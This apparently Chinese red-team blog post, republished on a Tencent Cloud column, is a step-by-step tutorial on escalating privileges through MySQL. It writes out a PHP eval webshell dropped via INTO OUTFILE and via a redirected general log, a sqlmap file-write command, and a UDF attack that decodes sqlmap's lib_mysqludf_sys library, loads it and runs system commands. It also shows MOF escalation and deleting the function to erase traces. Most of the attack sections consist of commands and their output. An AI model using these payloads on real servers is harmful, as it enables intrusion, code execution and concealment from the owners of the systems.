前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MYSQL数据库提权详解

MYSQL数据库提权详解

作者头像
红队蓝军
发布2024-07-26 19:24:09
70
发布2024-07-26 19:24:09
举报
文章被收录于专栏:红队蓝军

前提

什么时候用数据库提权????在得到WebShell且没有办法通过其他办法提权的前提下,我们考虑用数据库来进行提权。数据库提权的前提条件:

代码语言:javascript
复制
1、数据库的用户名和密码,且是高权限的用户!
2、服务器开启数据库服务

思考:如何获取数据库的用户名和密码?

代码语言:javascript
复制
1、读取网站数据库配置文件
2、读取数据库存储或备份文件
3、利用脚本暴力猜解

通过数据库来获取WebShell权限

into oufile 写 shell

into oufile 写 shell要满足如下条件才可以写入 :

  1. 知道网站物理路径
  2. 高权限数据库用户
  3. load_file() 开启 即 secure_file_priv 无限制
  4. 网站路径有写入权限

secure_file_priv 的值的解释:

说明

NULL

不允许导入或导出

/

只允许在 / 目录导入导出

不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

可用通过如下命令来查看配置:

代码语言:javascript
复制
show global variables like '%secure_file_priv%';
代码语言:javascript
复制
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

接下来写码:网站路径:D:/www 执行如下命令:

代码语言:javascript
复制
select '<?php @eval($_REQUEST[6]);?>' into outfile 'D:/www/shell.php';
代码语言:javascript
复制
mysql> select '<?php @eval($_REQUEST[6]);?>' into outfile 'D:/www/shell.php';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

写入失败,这里失败的原因是因为我们前面查询secure_file_priv值为null,所以权限就是不允许导入或导出,这里我们对secure_file_priv进行修改为空后,再进行写入。 因为secure_file_priv为只读权限,所以我们打开my.ini文件:

重启服务器。

代码语言:javascript
复制
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

再次执行写码语句:

代码语言:javascript
复制
mysql> select '<?php @eval($_REQUEST[6]);?>' into outfile 'D:/www/shell.php';
Query OK, 1 row affected (0.00 sec)

mysql>

也可以利用sqlmap来写入:

代码语言:javascript
复制
sqlmap -u "http://x.x.x.x/?id=x" --file-write="源木马文件地址" --file-dest="目标木马地址"

当然这种写shell的方式,在MySQL 5.5之后已经很难实现了,因为MySQL 5.5之后值为NULL。

利用日志写shell

在into outfile的方式没有办法写shell的时候,我们还可以通过写日志的方式来!在MySQL 5.0 版本以上会创建日志文件,我们可以通过修改日志的全局变量中的存储位置来 getshell 先来查看日志的情况:

代码语言:javascript
复制
mysql> SHOW VARIABLES LIKE '%general%';
+------------------+-----------------------------------------------------------------+
| Variable_name    | Value                                                           |
+------------------+-----------------------------------------------------------------+
| general_log      | OFF                                                             |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\MS-RNHFKWIOAGYR.log |
+------------------+-----------------------------------------------------------------+
2 rows in set, 1 warning (0.00 sec)

mysql>

general_log 默认关闭,高权限的用户可以直接通过mysql命令行进行开启,开启后日志文件记录用户的每条指令,将其保存在general_log _file中。我们可以通过开启general_log ,然后自定义general_log _file来进行getshell。

代码语言:javascript
复制
mysql> set global general_log = "ON";   #开启general_log 
mysql> set global general_log_file='D:/www/shell_log.php';   #修改general_log_file路径
代码语言:javascript
复制
mysql> set global general_log = "ON";
Query OK, 0 rows affected (0.01 sec)

mysql> set global general_log_file='D:/www/shell_log.php';
Query OK, 0 rows affected (0.01 sec)

mysql> SHOW VARIABLES LIKE '%general%';
+------------------+----------------------+
| Variable_name    | Value                |
+------------------+----------------------+
| general_log      | ON                   |
| general_log_file | D:/www/shell_log.php |
+------------------+----------------------+
2 rows in set, 1 warning (0.00 sec)

mysql>

测试写日志:

代码语言:javascript
复制
mysql> select "<?php @eval($_REQUEST[6]);?>";
+------------------------------+
| <?php @eval($_REQUEST[6]);?> |
+------------------------------+
| <?php @eval($_REQUEST[6]);?> |
+------------------------------+
1 row in set (0.00 sec)

mysql>

查看日志文件:

通过数据库来提升权限

UDF提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用一些系统函数如version()函数便捷。 提权大致方法是把我们的动态链接库放置在特定的目录下,创建我们自定义函数,实现系统函数命令的调用,最终导致提权。 查看动态链接库的位置:

代码语言:javascript
复制
mysql> show variables like "%plugin%";
+-------------------------------+----------------------------------------------------+
| Variable_name                 | Value                                              |
+-------------------------------+----------------------------------------------------+
| default_authentication_plugin | mysql_native_password                              |
| plugin_dir                    | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-------------------------------+----------------------------------------------------+
2 rows in set, 1 warning (0.00 sec)

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。

接下来的操作:

  1. 搞一个动态链接库,这个动态链接库可以提权
  2. 将这个动态链接库上传到plugin_dir
  3. 通过这个动态连接库来创建函数
  4. 执行系统命令
可以提权动态链接库

我们可以使用sqlmap中里的UDF动态链接库:位置在:安装目录/sqlmap/data/udf/mysql MSF 中也有:

通过如下语句来确定用32还是64:

代码语言:javascript
复制
mysql> show variables like "%compile%";
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Win64  |
+-------------------------+--------+
2 rows in set, 1 warning (0.00 sec)

接下来生成动态链接库。sqlmap中的动态链接库为了防止被杀毒软件查杀,都经过了编码处理,不能直接使用,所以我们还需要用sqlmap自带的解码工具cloak.py进行解码 。在sqlmap-master\extra\cloak路径下

代码语言:javascript
复制
python cloak.py -d -i C:\Python\Python310\sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o udf.dll  #windows解码
python cloak.py -d -i C:\Python\Python310\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o udf.so  #linux解码

这样就会在对应目录下生成utf.dll文件!

上传动态连接库

上传到什么地方?

代码语言:javascript
复制
mysql> show variables like "%plugin%";
+-------------------------------+----------------------------------------------------+
| Variable_name                 | Value                                              |
+-------------------------------+----------------------------------------------------+
| default_authentication_plugin | mysql_native_password                              |
| plugin_dir                    | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-------------------------------+----------------------------------------------------+
2 rows in set, 1 warning (0.00 sec)

如果没有\lib\plugin\路径,那么就需要动态创建!!!创建方式有很多,最直接的方式就是直接WebShell创建即可!!。

直接用WebShell将udf.dll上传到这个目录即可:

当然还有其他方法,不过很麻烦,比如:1.通过SQLMAP 上传 2.通过select into dumpfile的方式

创建函数
代码语言:javascript
复制
CREATE FUNCTION sys_cmd RETURNS STRING SONAME 'udf.dll';
代码语言:javascript
复制
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql>

查看是否创建成功:

代码语言:javascript
复制
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql>
执行系统命令
代码语言:javascript
复制
mysql> select sys_eval('whoami');
+-------------------------------+
| sys_eval('whoami')            |
+-------------------------------+
| ms-rnhfkwioagyr\administrator |
+-------------------------------+
1 row in set (0.07 sec)

这个地方是SYSTEM才对,应该是我自己的操作系统的原因。。。。

抹除痕迹
代码语言:javascript
复制
#删除自定义函数
mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
Empty set (0.00 sec)

MOF提权

现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

需要手工修改my.ini配置文件,添加 secure-file-priv=空,注意不为NULL 因该参数为NULL时不允许导出

MSF中有现成的模块:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前提
  • 通过数据库来获取WebShell权限
    • into oufile 写 shell
      • 利用日志写shell
      • 通过数据库来提升权限
        • UDF提权
          • 可以提权动态链接库
          • 上传动态连接库
          • 创建函数
          • 执行系统命令
          • 抹除痕迹
        • MOF提权
        相关产品与服务
        云数据库 MySQL
        腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档